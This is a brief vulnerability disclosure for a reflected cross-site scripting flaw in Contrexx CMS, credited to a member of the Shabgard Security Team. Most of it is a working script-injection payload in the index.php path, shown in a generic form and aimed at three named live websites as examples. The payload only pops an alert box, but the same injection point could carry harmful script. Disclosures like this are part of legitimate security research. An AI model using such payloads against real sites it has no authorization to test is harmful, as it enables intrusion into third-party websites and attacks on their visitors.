Site :
http://www.contrexx.com
Bug :
http://victim/path/index.php/"><script>alert(/Soot/)</script>
Example :
http://www.astalavista.com/index.php/"><script>alert(/Soot/)</script>
http://www.contrexx.com/index.php/"><script>alert(/Soot/)</script>
http://www.astalavista.ch/index.php/"><script>alert(/Soot/)</script>
Source :
http://soot.shabgard.org/bugs/Contrexx-CMS.txt
Credit :
Soot
Shabgard Security Team
http://www.shabgard.org